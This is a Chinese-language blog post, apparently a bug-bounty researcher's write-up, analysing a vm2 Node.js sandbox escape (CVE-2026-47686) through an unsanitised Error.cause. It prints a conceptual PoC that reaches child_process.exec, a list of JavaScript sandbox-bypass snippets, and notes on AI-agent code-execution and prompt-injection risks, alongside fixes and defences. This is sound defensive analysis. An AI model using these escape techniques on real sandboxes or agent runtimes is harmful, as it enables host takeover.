ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

SRC 挖洞:vm2 沙箱逃逸到 RCE 深度复盘,CVE-2026-47686 Error.cause 怎么泄露主机对象

SRC 挖洞:vm2 沙箱逃逸到 RCE 深度复盘,CVE-2026-47686 Error.cause 怎么泄露主机对象 作者 akihi白帽攻防录讲师某甲方网络安全工程师合集 SRC 年度第一、腾讯 SRC 连续三年前十单漏洞赏金 4w擅长 Web/App/PC 客户端漏洞挖掘。专注 Node.js 安全、沙箱逃逸、AI Agent 安全审计。本文基于公开 CVE 信息与技术原理深度复盘供安全研究与防护参考。一、漏洞时间线2026 年 8 月 17 日vm2 项目发布了安全更新修复了三个严重的沙箱逃逸漏洞。其中最严重的是 CVE-2026-47686CVSS 9.9源于对 ES2022 Error.cause 属性清理不完善。当宿主函数抛出包含主机对象的错误链时沙箱代码可以获取该引用进而实现远程代码执行。时间事件影响版本2026-05-08第一个 vm2 沙箱逃逸漏洞披露 3.11.02026-08-17vm2 发布 3.11.6修复三个漏洞 3.11.62026-08-18技术分析和 PoC 公开——2026-09-09安全厂商发布威胁情报——2026-09-24确认影响 AI Agent 框架——vm2 是一个流行的 Node.js 沙箱库被广泛用于代码编辑器、自动化工具和 AI Agent 框架。沙箱逃逸漏洞意味着运行在其中的不可信代码可以突破隔离访问主机系统。二、攻击链全景让我们先用一张流程图还原完整的攻击路径攻击者在沙箱中运行不可信 JavaScript 代码 │ ▼ 第一步触发宿主函数抛出错误 │ 调用宿主提供的函数 │ 函数内部抛出 Error ▼ 第二步错误对象通过错误链传播 │ Error.cause 包含宿主对象 │ handleException() 清理错误属性 ▼ 第三步Error.cause 未被清理 │ 清理了 SuppressedError.error │ 清理了 AggregateError.errors │ 但遗漏了 Error.cause ▼ 第四步沙箱代码获取主机对象引用 │ 通过 error.cause 访问主机对象 │ 拿到主机的函数和对象引用 ▼ 第五步利用主机对象逃逸沙箱 │ 通过引用调用 require() │ 加载 child_process 模块 ▼ 攻击者在主机上执行任意命令 │ ├─ 读取服务器文件和配置 ├─ 访问内部网络资源 └─ 植入后门持久化关键结论这个漏洞的核心在于错误对象清理不完整。vm2 的 handleException() 函数清理了大部分危险的错误属性但遗漏了 ES2022 新增的 Error.cause 属性。一个被遗漏的属性导致整个沙箱隔离被突破。三、沙箱原理3.1 什么是沙箱沙箱Sandbox是一种安全隔离机制允许运行不可信代码而不影响主机系统代码编辑器在线运行用户提交的代码自动化工具运行用户自定义的脚本AI Agent运行 LLM 生成的代码插件系统运行第三方插件代码vm2 的设计目标是在 Node.js 中安全地运行不可信 JavaScript 代码阻止其访问 process、require 等危险对象。3.2 vm2 的隔离机制vm2 使用多种技术实现隔离Proxy 代理对所有主机对象使用 Proxy 代理拦截属性访问属性过滤过滤危险属性如 process、require、constructor错误清理当错误从沙箱传播到主机时清理错误对象中的危险属性原型链保护阻止访问对象的原型链3.3 Error.cause 属性ES2022 新增了 Error.cause 属性用于指定错误的原因// ES2022 Error.cause try { doSomething(); } catch (err) { throw new Error(操作失败, { cause: err }); } // 错误链 // error.message 操作失败 // error.cause 原始错误对象 // 可以通过 error.cause 访问原始错误 // 如果 cause 中包含主机对象 throw new Error(失败, { cause: hostObject }); // 那么沙箱代码可以通过 error.cause 访问 hostObject四、漏洞深度分析4.1 漏洞位置漏洞位于 vm2 的lib/setup-sandbox.js文件中的handleException()函数// vm2/lib/setup-sandbox.js function handleException(e) { // 清理 SuppressedError if (e instanceof SuppressedError) { e.error crossCheck(e.error); e.suppressed crossCheck(e.suppressed); } // 清理 AggregateError if (e instanceof AggregateError) { e.errors e.errors.map(crossCheck); } // 问题没有清理 Error.cause // ES2022 新增的 Error.cause 属性被遗漏了 return e; }4.2 crossCheck 函数vm2 使用crossCheck()函数清理危险属性function crossCheck(value) { // 如果是对象遍历属性 if (value ! null typeof value object) { for (const key in value) { // 过滤危险属性 if (dangerousProperties.includes(key)) { delete value[key]; } else { // 递归清理 crossCheck(value[key]); } } } return value; } // 问题crossCheck 只处理明确传入的对象 // 如果 Error.cause 没有被传入 crossCheck // 那么 cause 中的主机对象就不会被清理4.3 攻击利用攻击者利用这个漏洞的步骤在沙箱中运行代码攻击者提交恶意 JavaScript触发错误调用宿主函数触发抛出包含主机对象的错误获取错误对象catch 到错误通过 error.cause 获取主机对象访问危险属性通过主机对象的引用访问 require、process 等执行命令require(child_process).exec(恶意命令)// PoC 概念性代码 // 在沙箱中运行的恶意代码 try { // 触发宿主函数抛出错误 // 错误中包含主机对象 hostFunction(); } catch (e) { // e.cause 中包含未清理的主机对象 const hostObject e.cause; // 通过主机对象访问 require const require hostObject.constructor.constructor(return require)(); // 加载 child_process const { exec } require(child_process); // 执行任意命令 exec(whoami, (err, stdout) { console.log(stdout); }); }4.4 为什么 Error.cause 被遗漏根本原因Error.cause 是 ES2022 新增的属性。vm2 的错误清理逻辑是在 ES2022 之前编写的只考虑了当时存在的错误属性如 SuppressedError.error、AggregateError.errors。当 JavaScript 语言新增特性时沙箱的清理逻辑没有及时更新。这是一个典型的语言特性演化导致的安全漏洞——JavaScript 不断新增特性沙箱的安全逻辑需要跟上。4.5 关联漏洞除了 CVE-2026-47686vm2 还修复了另一个相关漏洞CVECVSS描述CVE-2026-476869.9Error.cause 属性未清理主机对象泄露CVE-2026-476988.5Function.prototype.call 堆叠绕过原型链保护CVE-2026-476837.5Buffer 分配限制绕过五、修复方案分析vm2 在 3.11.6 版本中修复了这些漏洞修复项修复方式Error.cause 清理在 handleException() 中增加对 Error.cause 的清理递归清理对错误链中的所有对象进行递归清理全面过滤对所有错误属性进行过滤包括未来可能新增的5.1 修复代码// 修复后的 handleException() function handleException(e) { // 清理 SuppressedError if (e instanceof SuppressedError) { e.error crossCheck(e.error); e.suppressed crossCheck(e.suppressed); } // 清理 AggregateError if (e instanceof AggregateError) { e.errors e.errors.map(crossCheck); } // 修复清理 Error.cause if (e.cause ! undefined) { e.cause crossCheck(e.cause); } return e; }5.2 替代方案由于 vm2 频繁出现沙箱逃逸漏洞社区建议使用更安全的替代方案// 1. 使用 Node.js 内置的 vm 模块 const vm require(vm); // 注意vm 模块不是安全沙箱 // 它只是在 V8 上下文中运行代码 // 2. 使用容器隔离 // Docker 容器是更可靠的隔离方式 docker run --rm untrusted-image // 3. 使用 isolate 模块 // 基于 V8 Isolate 的更严格沙箱 const isolate require(isolate); // 4. 明确不要用 vm2 运行不可信代码 // 如果必须用确保升级到最新版本六、SRC 审计启示录6.1 沙箱逃逸审计清单在 SRC 挖洞过程中针对沙箱逃逸的审计清单#检查项检测方法1是否有沙箱运行不可信代码查找代码执行、插件系统等功能2沙箱使用的是什么隔离机制检查是否使用 vm2、isolated-vm 等3错误对象是否完全清理测试各种错误类型和属性4是否有语言特性被遗漏检查 ES6 新特性是否被覆盖5是否能访问主机对象引用测试通过错误、原型链等方式访问6.2 JavaScript 沙箱绕过技巧// 常见的沙箱绕过技巧 // 1. 构造函数访问 (function(){}).constructor(return this)() // 返回全局对象 // 2. 错误对象逃逸 try { throw new Error(); } catch (e) { const host e.constructor.constructor(return process)(); } // 3. Promise 异步逃逸 Promise.resolve().then(() { // 异步上下文中可能有不同的隔离 }); // 4. 原型链遍历 obj.__proto__.__proto__.constructor // 访问到 Object 构造函数 // 5. Error.cause 逃逸 throw new Error(test, { cause: hostObject });6.3 AI Agent 安全风险点常见问题防护建议代码执行LLM 生成的代码在沙箱中运行使用容器隔离不依赖 JS 沙箱提示注入恶意输入诱导 LLM 生成恶意代码输入验证和过滤工具调用Agent 调用危险工具最小权限原则数据泄露沙箱逃逸后访问主机数据网络隔离和访问控制七、防护建议升级 vm2升级到 3.11.6 或更高版本容器隔离使用 Docker 容器隔离不可信代码最小权限运行代码的进程使用最小权限网络隔离限制沙箱的网络访问监控告警对异常的代码执行行为设置告警定期审计审计沙箱配置和依赖版本八、总结CVE-2026-47686 是一个典型的语言特性演化导致的沙箱逃逸漏洞。它提醒我们JavaScript 沙箱的安全不是一劳永逸的随着语言不断新增特性沙箱的隔离逻辑需要持续更新。在 SRC 挖洞实践中沙箱逃逸是一个高价值攻击面特别是在 AI Agent 兴起的今天代码执行安全变得越来越重要。
返回列表